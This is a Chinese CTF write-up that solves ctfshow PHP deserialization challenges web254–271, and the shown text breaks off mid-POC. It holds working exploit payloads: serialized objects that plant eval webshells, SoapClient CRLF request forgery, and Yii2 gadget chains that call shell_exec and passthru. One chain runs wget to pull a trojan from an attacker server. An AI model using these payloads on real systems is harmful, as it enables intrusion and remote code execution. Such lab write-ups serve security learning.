ctfshow-web-反序列化
本文最后更新于 5 天前,其中的信息可能已经有所发展或是发生改变。

前置知识

__sleep() 
//执行serialize()时,先会调用这个函数
__wakeup() 
//将在反序列化之后立即调用(当反序列化时变量个数与实际不符时绕过)
__construct() 
//当对象被创建时,会触发进行初始化
__destruct() 
//对象被销毁时触发
__toString(): 
//当一个对象被当作字符串使用时触发
__call() 
//在对象上下文中调用不可访问的方法时触发
__callStatic() 
//在静态上下文中调用不可访问的方法时触发
__get() 
//获得一个类的成员变量时调用,用于从不可访问的属性读取数据(不可访问的属性包括:1.属性是私有型。2.类中不存在的成员变量)
__set() 
//用于将数据写入不可访问的属性
__isset() 
//在不可访问的属性上调用isset()或empty()触发
__unset() 
//在不可访问的属性上使用unset()时触发
__toString() 
//把类当作字符串使用时触发
__invoke() 
//当尝试以调用函数的方式调用一个对象时

web254

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

这是是判断isVip为真就能拿到flag,判断的依据是与类中的usernamepassword作比较,直接传入相同值即可。

Payload:

?username=xxxxxx&password=xxxxxx

web255

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

大体逻辑和上题是一致的,加了个$_COOKIE

在第一题校验的基础上,从cookie中得到的user值反序列化后,再丢到ctfShowUser类里做校验。

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;

$a=new ctfShowUser();
echo urlencode(serialize($a));

Payload:

GET:
?username=xxxxxx&password=xxxxxx
Headers:
Cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web256

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{·
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

多了个$this->username!==$this->password,也就是username和password要不一样了,其他逻辑和上题一样。

<?php
class ctfShowUser{
    public $username='admin';
    public $password='12345';
    public $isVip=true;
}

$a=new ctfShowUser();
echo urlencode(serialize($a));
?>

Payload:

GET:
?username=admin&password=12345
Headers:
Cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A5%3A%2212345%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

需要关注的点在于info类和backDoor类,这两个类都会执行getInfo函数,但是backDoor的函数执行的是eval这个危险函数

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);   
    }
}

ctfShowUser类中有一个__construct方法,实例化了info类,导致后面执行的是这个类里的getInfo函数

    public function __construct(){
        $this->class=new info();
    }

突破点有了,在这个属性里把backDoor类反序列化,然后把backDoor类里的$code赋值写马语句

······
    public function __construct(){
        $this->class=new backDoor();   //2 触发backdoor
    }
······
class backDoor{
    private $code="file_put_contents('shell.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+'));";
    public function getInfo(){
        eval($this->code);   //1 shell
    }
}
$a=new ctfShowUser();
var_dump(urlencode(serialize($a)));

->
O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A82%3A%22file_put_contents%28%27shell.php%27%2C+base64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8%2B%27%29%29%3B%22%3B%7D%7D

Payload:

GET:
?username=1&password=2 # 值随便填
Headers:
Cookie: O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A82%3A%22file_put_contents%28%27shell.php%27%2C+base64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8%2B%27%29%29%3B%22%3B%7D%7D
# 然后就写上🐎到url/shell.php文件里了,即可RCE

web258

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

这里主要是针对cookie传入的user参数进行了一个正则匹配,简而言之就是匹配o:数字:c:数字:

  • [oc]:匹配单个字符,可以是 oc(大小写不敏感,因为有 i 标志)。
  • ::匹配冒号字符 :
  • \d+:匹配一个或多个数字字符(\d 表示数字,+ 表示至少出现一次)。
  • ::再次匹配冒号字符 :

这种情况下可以在冒号和数字之间加上+绕过,改动一下上题脚本即可

······
    public function __construct(){
        $this->class=new backDoor();   //2 触发backdoor
    }
······
class backDoor{
    public $code="file_put_contents('shell.php',  base64_decode('PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+'));"; # 属性变了!
    public function getInfo(){
        eval($this->code);   //1 shell
    }
}
$a=new ctfShowUser();
var_dump(urlencode(preg_replace("/([oc]):(\d+:)/i", "$1:+$2",serialize($a)));

Payload:

GET:
username=molu&password=12345
Headers:
Cookie: O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A83%3A%22file_put_contents%28%27shell.php%27%2C++base64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8%2B%27%29%29%3B%22%3B%7D%7D

web259

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

dirsearch扫出来有个flag.php,过去发现提示:your ip not 127.0.0.1,考虑改xff头

题目hint:

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);

if($ip!=='127.0.0.1'){
        die('error');
}else{
        $token = $_POST['token'];
        if($token=='ctfshow'){
                file_put_contents('flag.txt',$flag);
        }
}

这里会把xff头以逗号为分隔,分割成数组,移去最后一个元素在进行比对,还有一个比对是在POST传入的token处,然后就会把flag写入flag.txt

Payload:

Headers:
X-Forwarded-For: 127.0.0.1,127.0.0.1
POST:
token=ctfshow

然后再去访问url/flag.txt即可

看别的师傅wp发现还有解法:利用原生类来打

参考文章:https://zhuanlan.zhihu.com/p/80918004

其实这道题进去是有错误信息的:

Fatal error: Uncaught Error: Call to a member function getFlag() on bool in /var/www/html/index.php:8 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 8

说明了这里调用了类中没有的方法(getFlag)而报错,但是也导致了__call的执行,这里用到的主要是:

SoapClient::__call(PHP 5, PHP 7, PHP 8),这个原生类会调动__call方法,使用SoapClient反序列化+CRLF可以生成任意POST请求

php内置类

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
   $methods = get_class_methods($class);
   foreach ($methods as $method) {
       if (in_array($method, array(
           '__destruct',
           '__toString',
           '__wakeup',
           '__call',
           '__callStatic',
           '__get',
           '__set',
           '__isset',
           '__unset',
           '__invoke',
           '__set_state'
       ))) {
           print $class . '::' . $method . "\n";
       }
   }
}

关于CRLF注入:简单来讲,就是伪造请求头,利用\n(换行 \x0a)和\r(回车 \x0d),为什么是这两个,我们简单抓个包,把不可打印字符显示出来就可以看到,每一个请求头的结尾以\r\n结束

<?php

$target = "http://127.0.0.1/flag.php";
$post = "token=ctfshow";
$a = new SoapClient(null, array(
    "location" => $target,
    "user_agent" => "aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".(string)strlen($post)."\r\n\r\n".$post,
    "uri" => "aaaa"
));

var_dump(urlencode(serialize($a)));

当这个对象被反序列化后,调用任意不存在的方法会触发一次 伪造的 HTTP 请求 到目标地址

实际发出的数据包大概长这样:

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Connection: Keep-Alive
#注入从ua头开始
User-Agent: aaa\r\n
X-Forwarded-For: 127.0.0.1,127.0.0.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n\r\n
token=ctfshow

web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

需要传入的字符序列化后满足这个正则

<?php
class test{
    public $a="ctfshow_i_love_36D";
}
var_dump(serialize(new test()));
->
string(49) "O:4:"test":1:{s:1:"a";s:18:"ctfshow_i_love_36D";}"

所以直接传这个字符串进去就行

Payload:

GET:
?ctfshow=ctfshow_i_love_36D

web261

hint:打Redis

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

此处版本php7.4.16,在 php 7.4 以上版本反序列化时,如果类中同时定义了 __unserialize()__wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

参考可见:https://www.php.net/manual/zh/language.oop5.magic.php#language.oop5.magic.sleep

所以此处__wakeup的置空username和password其实是不需要的,走__unserialize即可,也没有办法进入__invoke来控制eval函数

所以思路应该是:传入username和password,过含有0x36d(877)的检测,写入文件

<?php

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct(){
        $this->username='877.php';
        $this->password='<?php eval($_POST[a]);?>';
    }
}

echo urlencode(serialize(new ctfshowvip()));
->
O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3BN%3B%7D

Payload:

GET:
?vip=O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3BN%3B%7D
#然后去877.php进行rce即可

web262

<?php
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

hint提示了/message.php

<?php
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

传三个参fmt,分别代表了frommsgto,默认生成的token是user,这是我们不能通过message.php注入得来的,但是拿到flag的条件是token为admin

当public $token='user';
$a=new message(1,2,3);
var_dump(serialize($a));
->
string(83) "O:7:"message":4:{s:4:"from";i:1;s:3:"msg";i:2;s:2:"to";i:3;s:5:"token";s:4:"user";}"

当public $token='admin';
$a=new message(1,2,3);
var_dump(serialize($a));
->
string(84) "O:7:"message":4:{s:4:"from";i:1;s:3:"msg";i:2;s:2:"to";i:3;s:5:"token";s:5:"admin";}"

我们需要的是s:5:"token";s:5:"admin";},直接丢到$to参数中就会变成:

$a=new message(1,2,'3";s:5:"token";s:5:"admin";}');
var_dump(serialize($a));
->
string(115) "O:7:"message":4:{s:4:"from";i:1;s:3:"msg";i:2;s:2:"to";s:28:"3";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}"

但是这里存在逻辑错误:s:28:"3";这个数字3,被标注为28的长度,但是本身只有1长度,相当于缺少了27个字符(这27个字符就是我们捏造的s:5:"token";s:5:"admin";}),但是注意到index.php页中存在一个替换str_replace('fuck', 'loveU', serialize($msg)),这里长度不等的替换就造成了字符串逃逸。

这里的fuck(4字符)会被loveU(5字符)替换,但是替换发生的时候是在序列化之后,也就是说:如果我在序列化之前有27个fuck,序列化后就被标记有108个字符,替换后就变成了27个loveU,但是标记仍然是108个字符,也就是后面多出来的字符就当不在这个字符串里了,那我们需要的s:5:"token";s:5:"admin";}就顺利逃逸出去了

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
$a=new message(1,2,'3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');#这里有27个fuck
var_dump(serialize($a));
->
"O:7:"message":4:{s:4:"from";i:1;s:3:"msg";i:2;s:2:"to";s:136:"3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}"#这里的部分已经不生效了,因为php会认为在前面admin结束的时候,整段序列化字符串就已经结束

Payload:

GET:
?f=1&m=2&t=3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
#然后访问message.php即可

web263

给了一个登录框,没别的信息,上dirsearch开扫,扫出来了flag.php不过是没东西的,应该完成登陆后才会被写入,还有个check.php是返回登录状态的接口,www.zip备份文件泄露,拿到index.php的源码:

<?php
    error_reporting(0);
    session_start();
    //超过5次禁止登陆
    if(isset($_SESSION['limit'])){
        $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
        $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
    }else{
         setcookie("limit",base64_encode('1'));
         $_SESSION['limit']= 1;
    }
    
?>

inc.php源码:

<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW; 
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
    'database_type' => 'mysql',
    'database_name' => 'web',
    'server' => 'localhost',
    'username' => 'root',
    'password' => 'root',
    'charset' => 'utf8',
    'port' => 3306,
    'prefix' => '',
    'option' => [
        PDO::ATTR_CASE => PDO::CASE_NATURAL
    ]
]);

// sql注入检查
function checkForm($str){
    if(!isset($str)){
        return true;
    }else{
    return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
    }
}

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/

function  uuid()  
{  
    $chars = md5(uniqid(mt_rand(), true));  
    $uuid = substr ( $chars, 0, 8 ) . '-'
            . substr ( $chars, 8, 4 ) . '-' 
            . substr ( $chars, 12, 4 ) . '-'
            . substr ( $chars, 16, 4 ) . '-'
            . substr ( $chars, 20, 12 );  
    return $uuid ;  
}  

这里存在写文件的操作

    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

注入的关键在这一句

ini_set('session.serialize_handler', 'php');

使用 ini_set 指定了 serialize_handlerphp,如果默认的 serialize_handlerphp_serialize,就可以通过在序列化的字符串之前加 |,反序列化任意对象。

  • php_binary: 存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  • php: 存储方式是,键名+竖线+经过serialize()函数序列处理的值
  • php_serialize(php>5.5.4): 存储方式是,经过serialize()函数序列化处理的值

注意:在 php 5.5.4 以前默认选择的是 php5.5.4 之后就是 php_serialize,这里的 php 版本为 7.3.11,那么默认就是 php_serialize

那注入点就出来了,就在$_COOKIE['limit']处利用|+序列化后字符串,控制username和password,从而实现写shell

<?php
class User
{
    public $username;
    public $password;
    function __construct()
    {
        $this->username = '1.php';
        $this->password = '<?php system(tac flag.php)?>';
    }
}
$a = new User();
echo urlencode(base64_encode('|' . serialize($a)));
->
fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozMDoiPD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKT8%2BIjt9

1.改cookie里的limit,先到index.php,发起session

2.转到check.php

3.访问log-1.php,即可拿到flag

web264

<?php
error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

同web262,如果不行,尝试手动带上cookie: msg=任意数

web265

<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

这里实际上可控的也就password,token是不可控的随机值的md5,这里没有seed,mt_rand的伪随机特性用不了,但是题目要求password强等于token,这里我们既然无法预测token的值,不妨用指针直接指向token的内存地址,同一个地址,值相同,且后面再为其赋值,无法覆盖

<?php
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = &$this->token;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$test=new ctfshowAdmin('111','111');
var_dump(serialize($test));
->
string(65) "O:12:"ctfshowAdmin":2:{s:5:"token";s:3:"111";s:8:"password";R:2;}"

Payload:

?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";s:3:"111";s:8:"password";R:2;}

web266

<?php
highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

PHP大小写特性:

  1. 变量名区分大小写
  2. 常量名默认区分大小写,通常都写为大写
  3. php.ini配置项指令区分大小写

如 file_uploads = 1 不能写成 File_uploads = 1

  1. 函数名、方法名、类名不区分大小写

  但推荐使用与定义时相同的名字

  1. 魔术常量不区分大小写,推荐大写

包括:__LINE__、__FILE__、__DIR__、__FUNCTION__、__CLASS__、__METHOD__、__NAMESPACE__。

  1. NULL、TRUE、FALSE不区分大小写

序列化出来换一下大小写即可

<?php
class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
}

$a=new ctfshow();
echo str_replace('ctfshow','Ctfshow',serialize($a));
->
O:7:"Ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

POST发包即可,不知道为什么Hackbar在basic模式下发包无回显,换成raw模式又有了0.o

web267

看样子是仿真网站,做一下信息收集,发现Yii框架

结合放在反序列化专题,去找了一下有没有这个框架的反序列化cve

CVE-2020-15148复现:https://blog.csdn.net/qq_46918279/article/details/120473172

contact页会报配置错误

弱密码可以登进admin,user:admin/passwd:admin

about页有个注释

访问index.php?r=site%2Fabout&view-source 得到:

///backdoor/shell
unserialize(base64_decode($_GET['code']))

拿文章里的POC打

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
 
        public function __construct(){
            $this->checkAccess = 'shell_exec';
            $this->id = 'nl /* > 1.txt';
        }
    }
}
 
namespace Faker{
    use yii\rest\CreateAction;
 
    class Generator{
        protected $formatters;
 
        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}
 
namespace yii\db{
    use Faker\Generator;
 
    class BatchQueryResult{
        private $_dataReader;
 
        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
 
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}

Payload:

/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6MTM6Im5sIC8qID4gMS50eHQiO31pOjE7czozOiJydW4iO319fX0=

web268

跟上题大部分是相同的,直接快进到拿poc打这一步

///backdoor/shell
unserialize(base64_decode($_GET['code']))

上题POC打不通了,改命令,拼字符之类的都没法执行,考虑是链子出了问题

换一个poc试试:

<?php
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('passthru', 'wget your-vps/木马.php');# 直接wget丢个马上去
    echo(base64_encode(serialize($exp)));
}

两个poc的区别体现在:

类的调用链不同

  • 267的链子:BatchQueryResult -> Generator -> CreateAction
  • 268的链子:BatchQueryResult -> DbSession -> IndexAction

利用思路

  • 267的POC Faker\Generator 类的 formatters 属性触发
  • 268的POC yii\web\MultiFieldSession 类的 writeCallback 属性触发
/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo4OiJwYXNzdGhydSI7czoyOiJpZCI7czozNToid2dldCBodHRwOi8vMS45NC42MC4yMzc6Nzg3OC9tYS5waHAiO31pOjE7czozOiJydW4iO319fQ==

web269

同上题

web270

有个项目:phpgc(https://github.com/ambionics/phpggc) 可以生成payload

用法:

./phpggc Yii2/RCE2 "RCE" --base64

Payload同上题,也可以用这个脚本生成去打

web271

<?php

/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell <taylor@laravel.com>
 */

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__ . '/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__ . '/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);

$kernel->terminate($request, $response);

注释明说了这是Laravel,涉及到的cve:laravel 5.7(CVE-2019-9081)

找了个POC

<?php
namespace Illuminate\Foundation\Testing{
